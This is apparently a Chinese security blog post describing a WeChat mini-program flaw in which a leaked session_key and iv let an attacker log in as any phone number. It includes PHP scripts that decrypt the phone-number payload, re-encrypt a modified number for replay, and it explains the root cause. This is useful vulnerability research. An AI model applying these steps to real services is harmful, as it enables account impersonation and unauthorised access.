显示 / 隐藏 文章目录 ]

微信小程序任意手机号快捷登陆

上次更新: 2024-07-22 11:11:37

微信小程序任意手机号快捷登陆

SessionKey&&iv 泄漏

在手机号授权登录时可能存在 SessionKey&&iv 泄漏
SessionKey&&iv泄漏

可使用脚本对其解密后手机号信息再进行加密
解密

<?php
echo "请输入SessionKey: ";
$sessionKey = trim(fgets(STDIN));
echo "请输入本次加密IV: ";
$iv = trim(fgets(STDIN));
echo "请输入待解密内容: ";
$encryptedData = trim(fgets(STDIN));

function decryptData( $encryptedData,$iv, $sessionKey ) {
    $aesIV = base64_decode($iv);
    $aesCipher = base64_decode($encryptedData);
    $aesKey = base64_decode($sessionKey);

    $result = openssl_decrypt($aesCipher, "AES-128-CBC", $aesKey, 1,$aesIV);

    if ($result === false) {
        // 解密失败,可以处理错误
        return "解密失败: " . openssl_error_string();
    }

    // 尝试解析 JSON,并检查是否成功
    $dataObj = json_decode($result);
    if (json_last_error() !== JSON_ERROR_NONE) {
        // 解析 JSON 失败
        return "JSON 解析失败: " . json_last_error_msg();
    }

    return $result;
}

$result = decryptData($encryptedData, $iv,$sessionKey);
echo sprintf("最终的解密结果为: %s\n", $result);

解密

修改值后再进行加密

<?php
echo "请输入SessionKey: ";
$sessionKey = fgets(STDIN);
echo "请输入本次解密IV: ";
$iv = fgets(STDIN);
echo "请输入待加密内容: ";
$decryptedData = fgets(STDIN);
function encryptData( $decryptedData, $iv, $sessionKey )
    {
        $aesIV = base64_decode($iv);
        $aesCipher = $decryptedData;
        $aesKey = base64_decode($sessionKey);
        $result = openssl_encrypt($aesCipher, "AES-128-CBC", $aesKey, 0, $aesIV);
        $dataObj = json_decode($result);
        return $result;
    }
$result = encryptData($decryptedData, $iv, $sessionKey);
echo sprintf("最终的加密结果为: %s\n", $result);

加密

把加密后的结果进行替换发包
发包

原理

一些微信小程序有 微信手机号快捷登录 的功能,无需接收验证码即可实现一键登录已经经过微信验证的手机号。
微信手机号快捷登录

微信小程序登录流程官方指南

调用 wx.login()api 接口 获取 临时登录凭证 code ,并回传到开发者服务器。
调用 auth.code2Session api 接口,换取 用户唯一标识 OpenID 、 用户在微信开放平台账号下的唯一标识 UnionID(若当前小程序已绑定到微信开放平台账号) 和 会话密钥 session_key。
之后开发者服务器可以根据用户标识来生成自定义登录态,用于后续业务逻辑中前后端交互时识别用户身份。

如图

登录流程

该漏洞造成原因:
调用 auth.code2Session api 接口后,开发未自定义登录态与 session_key,OpenID 关联,直接返回原本的 session_key,OpenID。

漏洞造成原因

加解密

微信使用的是 AES 加密,CBC 模式采用 PKCS7 填充,数据块长度为 128 位,输出使用 base64 编码。AES 是用于替代 DES 加密的对称加密算法,对称加密算法最大的特性便是加、解密使用的同是一串密钥,只要获取到 key 便可加解自如(CBC 加密模式下还需要 iv 偏移量参数,一般固定不变或作为变量内容传输)

iv:CBC 加密模式下的偏移量参数
session_key:会话密钥

RecoveryAshes Blog